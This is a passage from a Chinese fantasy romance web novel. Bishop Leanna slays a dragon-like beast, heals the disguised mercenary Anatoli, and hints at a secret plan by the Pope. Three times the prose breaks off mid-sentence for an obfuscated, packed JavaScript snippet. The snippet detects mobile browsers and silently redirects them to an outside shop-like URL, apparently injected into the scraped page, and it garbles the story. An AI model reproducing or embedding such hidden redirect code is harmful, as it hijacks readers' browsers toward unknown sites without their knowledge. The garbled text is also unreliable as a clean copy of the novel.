那个单薄的蓝色背影出现在众人眼前,主教的蓝袍因为魔力卷起的气流在风中飘动,对比龙庞大稳定的形体,她的身影就像是在空中随时会折翼坠落的飞鸟。 但正是这个看上去有些脆弱的身影轻松击杀了盘旋在布鲁城上空的阴影。 龙形魔兽栽倒在地,脖颈处刚被精准贯穿的地方还在汩汩地冒血。 莱安娜很看得起这只魔兽,攻击的时候考虑到了垂死挣扎的可能性,因此在攻击它脖颈的同时,还贯穿了它的两翼、四爪、和尾巴。 龙形魔兽似乎没有顽强得符合她的预期,被钉在地上后很快便断了气,一双金色的瞳孔死死望着天空。 莱安娜在它身上施加了一个小型结界,防止这只狡猾的东西自爆误伤旁人。 做好了万全的准备,她才顶着防御魔法落到地上,来检查魔龙的尸体。 阿纳托利就在离魔龙不远的地方,静静地看着这一切。 他设想过很多次他们的重逢,但没有想到是在这里,是在这种时候。 他原本以为,他们再次见面会是在授勋仪式上,莱安娜应该会穿上她华丽的主教长袍,庄重从容地出现在众人眼前,例行公事地来到他的面前,送上作为主教的祝贺与祝福。 “愿女神庇佑,愿荣耀同行。” 哪怕二人之间存在芥蒂,在公众面前,她的语气一定是平静而柔和的,她会朝他微微一笑,那双墨绿的眼睛应该会浮现出笑意。 她一直很擅长隐藏自己的真实感情。 一句问候,不超过三秒的对视,一抹并不明媚的笑容。 这或许就是时隔八年后,他们在圣都,在众人面前最亲密的交流了。 当然,还有一种可能,她并不会出席。 再见面恐怕会尴尬吧,在写信回绝他后,仿佛为了划清界限,他们没有了任何通信。 “想来也是,按照之后信件发出的时间,那时候她成为了神官,于公于私都要和我保持距离。” 他看着眼前的身影在心中念叨着。 自那时候他们再也没有交流,除了在北方平叛之后,她托人带来了一枚教廷批发的平安挂坠作为贺礼。 北方平乱后局势稳定,南方贵族们纷纷示好,那枚平安符在众多礼物中是那样平平无奇。 阿纳托利收到这个礼物的时候相当失望,对方似乎没有多花一点心思在他的身上,但他仍然将这枚平安挂坠老老实实地随身携带,几乎片刻不离。 此后他对莱安娜所有的了解都是来自夜荆棘的情报,或者一些充满偏见的传闻。 关于她继任艾夫忒宁家主,登上主教之位一直众说纷纭。一个平民登上高位在那些人眼里似乎必然要依靠肮脏的手段。 有人说她利欲熏心,曾经和维克多合作,有人说她长袖善舞,在皇室式微时,奇货可居,和亨利攀上了关系。 在真假混淆的传闻中,阿纳托利自己也开始看不明白了。 “我并不了解她,莱安娜或许真的执着于权力,目光一直都在如何让自己走得更远上,直到摘下教皇那顶宝冠,那双墨绿色的眼睛里恐怕从来没有过我的位置。” 眼前的蓝色身影从结界中走出,看来是已经确认魔龙死亡了,她环视人群,察觉到她目光的阿纳托利没有抬头。 许多记忆一时间全部浮上阿纳托利的脑海,他闭上了眼睛。 莱安娜帮助过自己回到北方,但拒绝了和自己同行;她拒绝了自己的求婚,断了和自己的通信,但又曾送了他一个平安挂坠;她为了当上主教不择手段,追名逐利,但又一直在为了并不受权贵支持的魔导器推广方案和魔兽潮防御工作奔走呼号。 “你的愿望到底是什么?你现在到底是什么样的人……” 阿纳托利抬眸凝视那个站立在魔龙尸体旁的身影,她正抬着头端详魔物异变的情况,但逆着光,阿纳托利看不清楚她的面孔。 他觉得自己很失败,明明很清楚莱安娜并不喜欢自己。但他仍然期待他们的相遇。 只是他没有想过这会发生在自己最狼狈不堪的时候。 从客观角度,莱安娜虽然对北方事务一向中立,但此时局势微妙,隐藏自己的身份,不被莱安娜发现才是上策。 从他个人情感的角度,没有人希望在如此狼狈落魄的时候和自己的心上人重逢。 他因为魔力耗尽以及旧伤,半跪在地,双手搭在剑柄上,借力艰难地起身,企图在莱安娜靠近伤员之前赶紧离开。 “绝对不能让莱安娜发现自己到过布鲁城……于公于私都不行。” 他盯着眼前的背影暗下决心,要把这个头盔和面具焊死在脸上!然后悄无声息地离开了战场。 “莱安娜主教,确认魔龙已经失去生命特征,翅膀、爪部、鳞片都没有太多损坏,魔核完整,可以回收······主教大人?” 裴迪神官注意到了走神的莱安娜,她正盯着远处一个雇佣兵的背影。 “主教大人?您看见什么了?” 莱安娜回过神来,朝着裴迪神官微笑。 “没什么······你继续说。” 莱安娜是教廷首屈一指的高阶魔法师,击杀了魔龙后,她独自修复了屏障,继续带领着的神使团清剿剩余的魔物。 大半天之后,已是黄昏,天空中的隔离屏障在夕阳中变得清澈,宣告着魔兽潮正在平定。 阿纳托利正在由医师包扎伤口,他只受了皮外伤,魔力逐渐恢复的身体并没有太多不良反应。 比较麻烦的是,他在北地的旧伤有恶化的倾向。 “您肩部的伤口二次撕裂,伤到了筋骨,这边只能做简单的缝合还有上药,我建议您去找疗愈魔法师治疗一下,否则可能会有后遗症,这对于你们用剑的魔导师来说很重要。” “我知道了,谢谢您。” 他一面说着一面起身。他盘算着在屏障打开后就赶紧去找露比汇合,魔兽潮平定的时间比他们想象得快,他们完全有时间回到圣都。 就在他走出临时治疗点时,一个熟悉的声音叫住了他。 “请等一下。” 他没有立刻转过身,仿佛是一个梦境,一旦面对就会再次化为泡影。 也许是听错了,她一直不擅长治疗魔法,怎么可能来治疗中心。 “您是尼基塔先生吧。” 来者从他的身后施施然绕到了眼前,阿纳托利下意识将目光别了过去,随后才小心地看向对方。 “她变了很多。” 仍是记忆中的熟悉脸庞,祖母绿的眼睛仍然熠熠生辉,但整体看上去没有过去健康,她脸色不太好,整个人仿佛一片被风吹黄的秋叶。 阿纳托利微微定神,回应道。 “是的,我叫尼基塔,偶然行至此路的雇佣兵。” “初次见面,尼基塔先生,我是东区主教莱安娜,刚才这里的守卫已经告诉了我魔兽潮的前因后果,感谢您为布鲁城的付出。” “不必客气。” 他简短回答完就准备转身离开,刚刚迈出步子,就被莱安娜拉住了手臂,他动作一僵。 “请等一下,医师刚刚告诉我,您伤得很严重,如果不及时治疗会有后遗症。” 她温和地笑着,用关切的眼神注视着自己。 “这里治疗系的魔法师还没有赶来,我可以帮您简单处理一下。” 她朝自己走近了一步。阿纳托利下意识地后退,朝她摆摆手。 “不用了,只是小伤。” 她似乎对拒绝感到有些意外,眉头皱了起来。 “但是对于用剑的魔导师来说可不是小事,而且是您在援军没到的时候组织逃生和防御,您是布鲁城的英雄,理应得到最好的治疗。” 她似乎并不准备让步,只是平静地看着他。 “跑不掉了……” 阿纳托利一边想着,同时目光落到了莱安娜身后陌生的神官上。 其实如果只是被莱安娜个人知道自己在此处问题并不大,但莱安娜身边还有其他神官,神使团隶属于教皇,莱安娜既然和他们一起出现,想必她的行动也在教皇的监控下,最保险的方法就是减少和莱安娜接触。 但检查伤口需要卸掉盔甲,虽然自己还带了遮住下班半脸的面具,还有改换容貌的道具,但最好不要冒险。 可对方已经说到此处,自己再拒绝更显得可疑。 他朝着莱安娜点头,表示同意。 “好的,请您跟我来医疗仓。” 莱安娜转身朝临时治疗点的一处休息室走去,阿纳托利像个落败者一般跟在她的身后,同样跟在他们身后的还有那位陌生的神官。 “裴迪神官,您留在外面,治疗我一个人可以完成。” 裴迪神官停下了脚步,朝莱安娜恭敬地点头。 “那我就在门外,静候您的吩咐。” 莱安娜没有说话,冷着脸拉上了帘子。 在舒一口气后,转头笑着看向阿纳托利。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046843|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快就好,不用担心,而且不会像缝合那样痛的。” “您会治疗魔法!” 阿纳托利难掩惊讶的神色。 “当然会,您为什么这么问?” 阿纳托利意识到自己失言了。只有很熟悉的人才清楚对方掌握的魔法类别。 “我看您刚才击杀魔龙,以为您只会攻击类魔法呢。” “准确来说,我确实是以攻击类魔法下的控制型魔法见长,但是其他类别也有所涉猎,请相信我的能力,劳烦您配合我的治疗。” 魔法师或许连语言都是施加了魔力的吧,不然自己是怎么稀里糊涂地卸下了重甲,乖巧地坐在凳子上呢。 在他取下头盔时,他仔细观察着莱安娜的表情,她神色如常,应该没有认出自己,阿纳托利略微放下心来。 “如果连莱安娜都能骗过,想必应付门外那个监视者没有问题。” 莱安娜用手覆在了他的伤口上,光芒从她的指缝中隐约透出,并不刺眼,像水一般。 魔力治疗虽然高效,但是加速再生的同时可能会带来极大的疼痛,不知道莱安娜使用了何种技巧,并没有像寻常治疗魔法那般疼痛。反而像是一抹阳光在伤口处不断化开,伴随着温暖,疼痛也在慢慢消解。 阿纳托利抬头小心翼翼地瞥了一眼莱安娜,她此时正全神贯注。 魔力的光映着她的脸,浓而密的睫毛在光彩的照射下投下细碎的阴影,额上有些细小的汗珠,有两根发丝粘在了脸颊上,她未曾察觉,她的呼吸并不平稳,或许是因为疲劳的缘故。 治疗好了颈部的伤口,她将目光放到了他肩膀处的伤口,南下前他受的那次重伤。 她将脸凑了过来,认真地观察他肩膀的那处贯穿伤。 阿纳托利不敢动,只要一转头,他的鼻尖就能碰到她的头发。 “您这道伤口很深,但总体来看恢复得不错,毕竟半月能恢复到这个程度已经很好了,您到底为什么会伤成这样,这么不小心。” 他们离得很近,阿纳托利的肩膀甚至能感受到她开口说话的气息,他的心都不自觉地漏了一拍。 他忘记回答对方了。 而这样的沉默被莱安娜理解为了隐瞒。 “抱歉,是我失言了,我不该过度询问病人的隐私的。” “不,没关系的,我只是…” 他一时语塞,不知道如何解释。 “嗯,我理解,您不必再向我透露。” 她结束了这个话题,更加认真地进行了治疗工作。 “除了肩膀处的伤口外,您的背部也有伤口,我也会一并治疗。” 明明是温和的语气,但却是不容商量的意思。她自说自话地绕行到了阿纳托利的背后,没有给阿纳托利拒绝的机会。 几条触目惊心的伤痕撞入她的视野,那是魔兽的爪痕,哪怕已经结痂,皮肉外翻的痕迹依然明显,让人一看便能想象受伤时的痛苦。除了这几道很明显的抓爪痕,还有许多密集的小伤口,有被利器划破的整齐切口,还有各种各样的擦伤,在肩胛骨往中间两寸还有贯穿伤。 她没有控制住自己的情绪,下意识掩面倒吸了口气。 声音很轻微,但还是被阿纳托利注意到了。 “吓到你了?” 他回头看向莱安娜,他看见莱安娜一只手僵在空中,一只手掩面,神色很复杂。 “我的伤口有点多,但都是旧伤,大部分已经结痂了,不必······” “请您转过去。” 她的声音变得严肃,甚至语气还带了几分莫名其妙的怒意。 她和之前一样不给阿纳托利选择的机会,阿纳托利转过身去,温暖的感觉再一次从背部的伤口扩散开来。 但和上次不同,阿纳托利能感受到覆在他伤口上的手有轻微地颤抖。 在静静等待的时候他突然觉得肩膀一凉,像是两滴水滴在了上面,他想回头去查看,手也伸了过去,但被莱安娜阻止了。 她轻柔地握住了对方的手腕。 “不要回头。” 或许是他的错觉,他觉得莱安娜的声音沙哑地有些不正常,但还是听了对方的话。 治疗很快结束了,他起身快速穿上了盔甲,将那密集的伤口和暂时见不得人的脸藏在了铁片之下。 “感谢您的治疗。” “不客气,愿您平安。” 她背对着他,尽可能平静简短地回应。直到他离开也没有转过头来。 24. 风波渐息 阿纳托利掀开帘子,门口的裴迪神官饶有兴趣地打量着他,他也戒备地看着对方,二人短暂地对峙了一会儿,裴迪主动侧身让出了道路,脸上又恢复了神职人员谦和恭敬的微笑。 阿纳托利干脆地离开,不忘记恶狠狠地剮了他一眼。 裴迪的监视对象,莱安娜也在半分钟后走了出来。 她脸上没有什么情绪,至少裴迪看不出一点异常。 “治疗完毕了,你报告一下布鲁城外围的魔力探查情况。” 她平静地下达指令。 “遵命,根据第一小队的探知,在小镇西南外三公里处还有十余只中阶魔兽,正西方向还有二十只低阶魔兽。” “全员共享坐标,我们半小时后出发。” “不需要再休息一下吗?莱安娜主教,您的状态并不好,我不建议连续作战。” “我的状态我自己很清楚,感谢你的建议。” 见对方并没有改变主意的意思,裴迪笑着继续劝说。 “您有些太心急了,执行任务之时,教皇特地嘱咐过我要格外关心您的身体健康。您大病初愈就奔波来这里,修复破损屏障,击杀了龙形高阶魔兽还有诸多中阶魔兽,魔力的损耗极大,如果您过于勉强以至于出现意外,这个责任我们神使团承担不起,而且······” 他抬头盯着莱安娜,谦和地提醒她。 “您忘记了,莱安娜主教,这还不是最后一次行动,除此以外我们还有一次额外的行动呢,得保存实力。” 莱安娜似乎想说什么,但只是轻轻地叹了口气。 “我的状态对付剩下的魔物没有任何问题,执行任务。” “如果您刚才没有给这位雇佣兵治疗的话,我赞同您的决策;我不理解您为什么要损耗如此大的魔力治疗一位普通的雇佣兵。” “裴迪神官,他不是普通的雇佣兵,据我所知由于执政官的渎职,在我们来之前是他一直带领群众进行防御,甚至孤身犯险,对于这样的英雄,教廷理应厚待,这样会让教廷有更高的声望。” “是我考虑不周,我向您致歉。” 裴迪说着,右手覆在了心口,左手放在身后朝她恭敬地鞠了一躬。 “虽然是为了教廷的声望,但希望您日后的决策能更加合理,您刚才治疗他用的是无痛魔法吧,我在门外没有听见可怕的惨叫,这种魔法给使用者带来的损耗极大,为了区区一个佣兵,不值得······” 莱安娜没有说话,只是冷冰冰地盯着他,就在一瞬间,裴迪觉得颈侧一凉,魔力凝成的飞刃悄无声息地横在空中。 “裴迪神官。” 莱安娜那双绿色的眼睛满含笑意,看得裴迪的背后一冷。 “感谢提醒,但我有自己的判断,你看?” 除了那把悬浮在自己颈侧的飞刃,她轻轻抬手,指尖滑动,几把飞刃浮现在二人之间,灵巧的飞刃无声地宣示着其主人的强大。 裴迪一眨眼,其中一把已经出现在了自己眼瞳前面,大抵再向前四寸,自己的右眼不保。 裴迪吞了一口唾沫,声音有些颤抖。 “……我错误地预判了您的状态,我为我轻率的建议向您道歉。” 话音刚落,颈侧的压迫感便消失了,那些飞刃消解在了空中,只留下了点点微光,在暮色下照映着莱安娜微笑的脸庞。 “您听命于教皇陛下,我一直给予了您足够的尊重,我希望您也对我的能力抱有同样的信任,通力合作才能给教皇陛下交出完美的结果,不是吗?” 裴迪看着眼前带着笑意的莱安娜,脖颈出的凉意仿佛还有残余,他下意识用手擦了擦。 没有流血。 “您说的对,是我之前不了解情况,请您见谅。” “共享坐标,半小时后开始剿灭行动,我不想说第三次。” 她俯身伸手拍了拍裴迪的肩膀,头也不回地离开了医疗仓。 她快步来到部队整合处,检查一下准备工作,半小时后就要准备出发了,正当她在校对神使团士兵的魔导器时,有人拉了拉她的袖袍。 那是一个扎着双股麻花辫的小女孩,看上去只有十岁左右。 “莱安娜,我想和你一起去,我要去嘛。” 小女孩双手攥紧了她的衣角,紧抿着唇,整用那双好看的水蓝色眼睛盯着她。 莱安娜暂时放下了手中的工作。 “奥菲莉亚,工作的时候,不可以任性也不可撒娇。” 奥菲莉亚没有吱声,把头低了下去,但仍然没有松手的意思,算是无声的抗争。 莱安娜叹了口气,但脸色仍然是平静的。 她蹲下身,将奥菲莉亚抱住,左手轻抚着她的头发。 “奥菲莉亚,今天乖乖地待在临时指挥点,等我回来,不要乱跑。” 奥菲莉亚在她的拥抱中渐渐地松开了攥紧的那片袖袍。 “我想帮忙!我能感觉到,您很疲惫、愤怒、难过?您为什么会这么难过呢?” 奥菲莉亚在她的怀抱里小声说,确保周围没有人可以听见。 莱安娜闻言两手抓住了这孩子的肩膀,认真地盯着她。 “现在任务还没开始,你就在偷偷使用你的情感感知!” 奥菲莉亚心虚地不再说话。 眼前的小家伙头完全低了下去,但莱安娜知道她屡教不改的性子,只觉得头疼得厉害。 “因为我是大人,大人就要工作,工作总是这样的。但我很快会处理好,别担心。” “但是……您也会累不是吗?” “我知道你想帮忙,奥菲莉亚,但今晚我们需要和魔物直接战斗,你的魔法并不是战斗类型,它有别的作用,我们不是约好了吗?你的任务在明晚,所以今晚在安置点等我回来。” “好吧,但是莱安娜你要小心。” “嗯,我会的,等我回来。” 莱安娜笑着刮了刮她的鼻子。 “你赶紧和塞拉去安置点吧,不要乱跑,现在城里的治安还没有恢复。” “我知道了,约好了的。” 奥菲莉亚踮起脚尖亲吻了莱安娜的脸颊,笑得极其灿烂,然后拉着塞拉的手朝临时安置点走去。 一路上还不忘和莱安娜挥手。 莱安娜在送走了奥菲莉亚后,出神地看着她离开的方向,过了一会儿才起身。 最后一次魔兽剿灭工作由她和裴迪官兵分两路前往魔兽聚居区开展。而她也在校对了魔导器后按时带领神使团上马出城。 在神使团接手了剿灭工作后,作为雇佣兵的阿纳托利便闲了下来,莱安娜将一切都安排得井井有条,屏障被妥当地修复、设置的临时治疗仓正常运转、负责重建的小队正在维修布伦城区居民的房屋和其他基础设施、临时安置点为暂时无家可归的人们提供了落脚点还有食物,一切都在有条不紊地运行着,阿纳托利发现暂时没什么需要他帮忙的,便走到临时安置点去休息。 一进去就听见了休息区的人们叽叽喳喳地闲聊 “能行吗?我听说神使团才在外面进行了大战,马上又要出城,会不会有什么意外?” “放心吧,神使团据说是教皇亲自任命的战士呢,而且你不是也看到了吗,带队的是穿蓝色袍子的,那可是主教!顶级魔法师,不可能出问题。” “话虽如此,半小时后就出城,也太快了……而且我听说咱们屏障的充能和修复是那位主教一个人完成的……是不是太勉强了。” “你想得也太多了吧,你当主教和我们普通人一样,这么容易就累了?这位主教修复屏障后马上就出城把天上的龙打下来了,那些其他的魔兽她肯定更不会放在眼里。” “希望一切顺利吧……不过话说,我们辖区的主教是谁来着,我记得不是这位吧,我印象里是个男人。” “对,好像是……维克多主教?” “他怎么没来。” “那我怎么知道,你操心这么多干嘛,只要上面愿意管谁来不都一样吗?” 阿纳托利听着他们的对话,知道了莱安娜将会在半小时后出城,但他对此毫不担心,以莱安娜的实力对付几只中阶、低阶魔兽绰绰有余。 “但莱安娜为何会出现在这个地方。”他觉得十分反常。 镇民说的对,这个城区的魔兽潮理应归属维克多管辖,教皇为何要指派莱安娜带领神使团前来清剿? “维克多和莱安娜一向不对付,莫非是教皇有意借莱安娜来提醒他?” 阿纳托利觉得以维克多的德行早晚有一天会冒犯教皇,这倒是不奇怪,但为何要用指派主教干涉辖区的方式来提醒呢? 敲打维克多那种人,最好的选择是从根源剥去他的权柄,而并非在日常工作上敲打。 更何况这个地方的魔兽潮是三级,让特级魔法师亲自来简直是杀鸡用牛刀。 “维斯特利亚教皇从不做多余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046844|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情,指派莱安娜带领使团前来,这个地方的魔兽潮恐怕没有看上去那么简单。” 他闭目养神,许多问题在脑子里打转。 原本只是想在这里理清下思路,但连续连轴转了两天,他实在是太疲惫了,竟然坐在休息的椅子上睡着了。 直到被前来找他的欧文叫醒。 “尼基塔,可算找到你了,别睡了!” 顺眼惺忪的阿纳托利搓了下眼睛。 “啊,你已经恢复了啊。” 阿纳托利看着欧文发自内心地笑了起来。 “我倒也没这么娇气。” 欧文嘟囔道。 他因为被压在魔龙尸体下逃过了一劫,在阿纳托利接管了城防后被搜救人员挖了出来。 “还没有来得及恭喜你,能够在战斗中突破魔力的人寥寥无几,你已经是高阶魔导师了……” 欧文听了他的话,平静地点了点头,面无悦色。 看上去成为高阶魔导师是件好事,但一想到自己突破时的经历他只觉得难过。 “好了,你已经突破,魔兽潮也有教会接手,所以你现在找我是出什么事了?” 阿纳托利问道,对方面露难色,朝他走近一步。 “我听临时负责的神使说,他们的主教准备剿灭后再处理城主的事情,城主是你和爱玛绑的,爱玛已经借着屏障碎裂时逃走了,你现在立刻去城门,一旦屏障关闭你就立刻离开,不然或许会被追责,抢夺魔法结界的控制权可是大罪……” 欧文在他耳边小声说,虽然控制了音量,但也能听出他的心急火燎。 “不用担心,不会有事的,你吃早饭了吗?要不要一起去安置点的餐食处领点面包?” 他一面说着一面懒洋洋地起身。 “你怎么不当回事,这真的很严重!我没有开玩笑,消息百分百可靠,你必须快……” “我有熟人在教廷,她会保护我的。” 阿纳托利轻飘飘地说了一句。 “啊?” 欧文突然沉默了,然后快速回忆了一下自己和阿纳托利相处的细节。 确实,作为雇佣兵有些过于礼貌了,并且很清楚相关的制度规则,组织魔兽潮防御时也有模有样。 他上下打量了一下阿纳托利,他可能真是哪个大人物的手下来私访民情或者调查什么。 “你早说呢,整得这么费劲。” 他冲阿纳托利翻了个白眼。 “我为着这个事情担心了好久,就怕你和爱玛掉脑袋,我们大家都知道,是你们救了我们,如果到时候实在没办法我们小镇至少有四百二十三个居民愿意给你们作证……” “怎么还有零有整的。” 阿纳托利笑着问。 “我一个一个问的,大家都签字了。” 他说着拿出一张纸,那是手写的证明声明,正文字迹很端正,署名处五花八门、密密麻麻。 这份文书格式参照的是帝国过去很多年的模板,如果想要有效还需要复杂的程序。 目前它只是一张写满字的纸罢了,但是当它映入眼帘时阿纳托利却觉得它无比珍贵和沉重。 “你瞧。” 欧文递给他,他双手接过,小心翼翼地阅读着,带着笑意轻轻读了一段出来。 “我们愿意证明八音盒商会的尼基塔先生和爱玛女士没有谋害城主的故意,也没有觊觎神明留下的结界装置,一切所为都是为了保全魔兽潮下的小镇居民,我们愿意用自己的财产、名誉甚至生命担保,请法庭酌情考虑。” “署名:欧文·暮恩、约翰·帕塔拉、格蕾丝·谢尔依……” 他抬头看着欧文,对方则不耐烦地翻了个白眼。 “所以说啊,你早说你有熟人在教廷不就好了,我们也不用这么麻烦,看完了就还给我……” “谢谢你们,欧文。” 欧文若无其事般地抓了抓脑袋。 “哎呀,你们救了大家的命,我们也只是做了一点小事。” “这可不是小事,这种担保追责起来是会被牵连的。” “本来大伙的命就是你和爱玛救的,还有好多人我没来得及去问呢,大部分人这点良心还是有的。” “谢谢你们……” “别念了,求你。我们去吃饭吧,话说安置点餐食处真的有面包?是白面包还是黑面包?” “当然是黑面包,你想什么呢。” 25. 奇怪的孩子 欧文和阿纳托利闲聊着来到安置点的食物配给处。现在并不是用餐时间,人并不多,零星几个人也在神使团卫兵的监督下有序地领取,一切都很正常,直到阿纳托利注意到了登记物资的神官旁边趴着的奥菲莉亚,她在桌上睡着了,背上盖着神使的白袍。 “欧文,你看那个孩子。” “我看到了,那个小女孩儿,怎么了?” “你没有印象吗?我记得我在兔子餐厅见过她。” “我没有印象……小孩子嘛,都长得挺像的,而且就是出现过又怎么了,兔子餐厅的儿童餐也不错的。” 欧文没有明白事情的蹊跷之处。 “我的意思是,魔兽潮爆发前和教会有关的人就出现在城里了,你不觉得有些蹊跷吗?” “虽说确实很奇怪,但阿纳托利,会不会是你看错了,擦肩而过的印象不一定准确,而且她坐在那里可能只是神使好心照顾下小孩子罢了,你别想太多,总不能魔兽是教会自己放的吧。” “你说的对,我可能太敏感了。” 阿纳托利不再与他争辩,但他确信自己没有看错,常年观察的习惯让他在进入新环境时总会保持警惕。在走进兔子餐厅时,这位年幼的孩子就引起了他的注意,那孩子服装整洁干净,皮肤白皙健康,但是身边却没有其他大人,而且女孩在餐厅时并没有用餐,她只是出神地反复环视餐厅,仿佛在观察什么。之后有一个女士不知道从哪里出现牵着她离开了,种种异常让他对这个女孩印象深刻。 如果她真的是教会的人,那这场魔兽潮的诡异之处就不是一星半点了。 阿纳托利刚登记了姓名,从工作人员手中接过拿面包,正趴在桌上呼呼大睡的奥菲莉亚突然撑起身来,活像一只受惊吓的野兽,吓了周围人一跳。 “怎么了?奥菲莉亚,做噩梦了吗?” 塞拉神使关切地问她。 只见奥菲莉亚惊喜地环视四周,随后目光落到了阿纳托利身上,她歪着脑袋,那双深蓝色的眼睛从惊喜慢慢变得困惑。 “为什么你……” 女孩盯着他,小声地嗫嚅着,但阿纳托利听不清。 这像松鼠一样的女孩儿,正狐疑地伸手指着他,嘴里不知道在念叨什么。 “奥菲莉亚,哪怕是做了噩梦也不可以那么没有礼貌地指着别人。” 塞拉严肃地提醒她不得体的行为,但她像是全然没有听见,仍然好奇地盯着阿纳托利。 “抱歉,这位先生。” 塞拉冲阿纳托利不好意思地笑了一下。 “奥菲莉亚,听话!快给这位先生道歉。” 奥菲莉亚这才如梦初醒。 “对不起,请您原谅我,我不是故意的。” “没关系。” 阿纳托利笑着说。 “不过你刚刚为什么一直盯着我?” 阿纳托利试探着问。 “因为……”奥菲莉亚结结巴巴地回答,仿佛下定了一个极大的决心。 “因为虽然叔叔头发都白了,有点老,但很好看,很漂亮。” 她的脸上绽放出灿烂的笑容。 一旁的欧文没有控制住,大笑起来,就连神使塞拉也把头转过去了,像是在憋笑。 “哈哈哈哈哈哈哈,尼基塔……叔叔……哈哈哈哈漂亮……好新鲜的形容。” “……” 阿纳托利沉默不语,只是平静地看着眼前所有人都觉得天真烂漫的小女孩。 这孩子刚刚的反应分明像是感知到了什么,从熟睡中醒过来了。 现在却随口胡扯了一个借口……扯得还这么烂。 “抱歉,这位先生,这孩子应该是想说您很英俊,她现在的词汇还比较匮乏。” 神使塞拉积极地打着圆场,但小东西却不领情。 “但是他的头发确实快白了,不是只有老人才会长白头发……唔?” “你闭嘴。” 塞拉用手物理意义地帮助这小家伙把嘴闭上了,带着疲惫的笑容看向阿纳托利。 “这不是白色,是灰色哦,在我的家乡,这是被大地庇佑的颜色。” 沉默一会儿后他慢慢开口,语气耐心而温和。 “如果还有机会下次见面,希望你一定要做一个诚实礼貌的好孩子。” 他伸手摸了摸奥菲莉亚的脑袋,这孩子脸上天真的笑容已经消失了,她抬着头平静地看着阿纳托利,她很清楚阿纳托利指的是什么。 “狡猾的小家伙。” 阿纳托利心想。 在和自来熟且和善的神使塞拉客套两句后,他们拿着面包转身离开,而身后已经传来了塞拉的说教声。 “奥菲莉亚,你今天真是太没规矩了,怎么能这么没有礼貌,你下次要是再淘气我就告诉莱安娜大人,看她还带不带你出门……” 阿纳托利心里一沉。 “这孩子和莱安娜有什么关系,难道这次魔兽潮一直在莱安娜的计划之内?” 有很多可怕的猜想突然出现在他的脑海里。 他一直有关注圣都的情报,莱安娜的传闻并不少,哪怕传闻中的她和过去判若两人,阿纳托利也不愿相信她真的成为了草菅人命、玩弄人心的野心家。 “如果她真的变成那样了呢?我该……” 他的内心浮现出最后一个问题,而他不敢填上答案。 …… 而在城外,魔兽的清剿工作也在顺利推进。 “莱安娜主教,清点过魔兽尸体的数目了,和探查预测数量一致,并无遗漏。” 裴迪神官报告道。 莱安娜正站在魔兽尸体碎块中间,她为了节约魔力,关闭了往常会悬浮在身边的防御结界,蓝色的袍子已经沾上了血污,甚至连内里白色衬裙的裙边也被染红。 她用帕子擦了擦脸上的血迹,眉头皱得很深,魔兽的血腥味让她很难受。 “回收魔核,低阶魔兽的残骸没有太多利用价值,中阶魔兽我在击杀时尽可能保持其完整,有用的部分收集好带回去。” 她一边说着,一边扔掉了满是血污的帕子。 “遵命,我清点好后再把结果给您过目。” “辛苦了。” 她翻身上马,看向远方破晓的第一线阳光。 “裴迪神官,魔力探知该城区还有遗漏的魔兽点吗?我们要保证万无一失。” “您放心,神使团的神官们已经探查了五遍,没有一只遗漏,目前活着的只有关在笼子里的那四只中阶魔兽,和一只高阶魔兽。” 他一面说着一面用手指了指一个球状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046845|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,莱安娜画在上面的禁锢魔法在四只魔兽的挣扎下发出淡淡的光芒。 “另一只高阶魔兽呢?我看看?” “在这里。” 裴迪神官带她来到另一个球状物前,里面躺着一只龙型魔物。 “我亲自上的封印,不会有差错。” 他轻声说道,莱安娜打量着,不得不承认裴迪神官在禁锢魔法上确实独树一帜。 她用手轻轻触碰了下这个法阵。 “登峰造极。” “您过誉了。” “把它们带去指定地点,一定要严格看守。” “那是自然。但是,莱安娜主教……” “裴迪神官还有什么问题?” “我只是提醒您,按照教皇陛下的计划,您没有必要为了那群平民做多余的事情,这会给您带来额外的风险。” 裴迪笑着说。 “毕竟您做这些,结果也不会有所改变。” “……” 莱安娜冰冷地盯着他。 这眼神立刻让裴迪想起之前的“友好提醒”,还没有忘记脖子上的寒意。 作为行动负责人的主教可以直接砍了影响行动的神使和神官,这并非没有先例。 而莱安娜主教之前的行为已经算是比较正式的警告了,想到此处他立刻见风使舵,抛下作为教皇心腹的高傲,话锋一转。 “当然,我只是好意提醒,怎么决定都是您的权力,只要结果一致想来教皇陛下也不会在意这些无关痛痒的细节。” 他一面说着,一面恭敬地朝莱安娜微笑。 “继续执行我的计划,时间定在今晚十点后。” 莱安娜平静地下了最后的指令。 “你和卡米尔神使去安置这些魔兽,其他队长清点各自队伍,所有人准备回城。” 